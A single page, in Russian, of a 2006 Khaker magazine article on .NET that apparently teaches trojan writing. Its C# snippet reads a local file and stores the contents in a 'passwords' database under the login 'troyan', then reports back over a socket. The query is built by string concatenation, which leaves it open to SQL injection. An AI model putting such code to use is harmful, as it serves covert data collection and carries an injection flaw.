Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #91, ИЮЛЬ 2006 г.

В сетях зла

Sulverus aka Дроздов Андрей

Хакер, номер #091, стр. 091-124-5


Ассемблерщики утверждают, что им ничего больше не нужно, но с появлением CLR придется переучиваться и им, так как писать старые добрые РЕ-инфекторы больше не получится.

Веб-программистам сопротивляться глупо, так как ASP.NET очень удобен: любой C# или v++ кодер теперь может сваять сайт на своем языке без знания php или Явы. Программисты, работающие на разных языках, могут работать в одном проекте и написать одно приложение, поскольку все компилируется в единый код. Но ведь это то, к чему шло программирование долгие годы! Это не просто прогресс для какого-то круга людей, а прогресс для всей индустрии программирования (как обычного, так и web). Если кто-нибудь еще не вкурил, нужна ли данная технология программистам, скажу кратко - DO IT!

Работаем с Базой данных

StreamReader text = File.OpenText("C://test.txt"); //открываем файл с нужной инфой

string data2 = null;

string input = null;

while ((input = text.ReadLine()) != null)

{

data2 = input;

}

SqlConnection SQLc = new //конектимся к базе и вводим

SqlConnection("server=(local);uid=troyan; //логин и пароль

pwd=hello_its_me;database=passwords");

SqlDataAdapter connected = new SqlDataAdapter("select * from pwd", SQLc); //создаем запрос

connected.InsertCommand = new SqlCommand("insert into pwd (test_info)

values (" + data2 + ")", SQLc); //запрос для добавления инфы

DataSet DataSet = new DataSet();

connected.Fill(DataSet, "pwd"); //выбираем таблицу

DataRow send_d = DataSet.Tables["pwd"].NewRow();

send_d["test_info"] = data2; //заполняем данные

DataSet.Tables["pwd"].Rows.Add(send_d);

connected.Update(DataSet, "pwd"); //отправляем данные

DataSet.Dispose();

byte[] send_text = Encoding.ASCII.GetBytes("Ok..Check your database.");

hnd.Send(send_text);

CD

На нашем DVD ты найдешь ПОЛНЫЙ исходник для лучшего усвоения статьи

WWW

Советую почитать msdn: (http://msdn.microsoft.com/library/rus/default.asp?url=/library/rus/vsintro7/html/vsstartpage.asp)

Назад на стр. 091-124-4  Содержание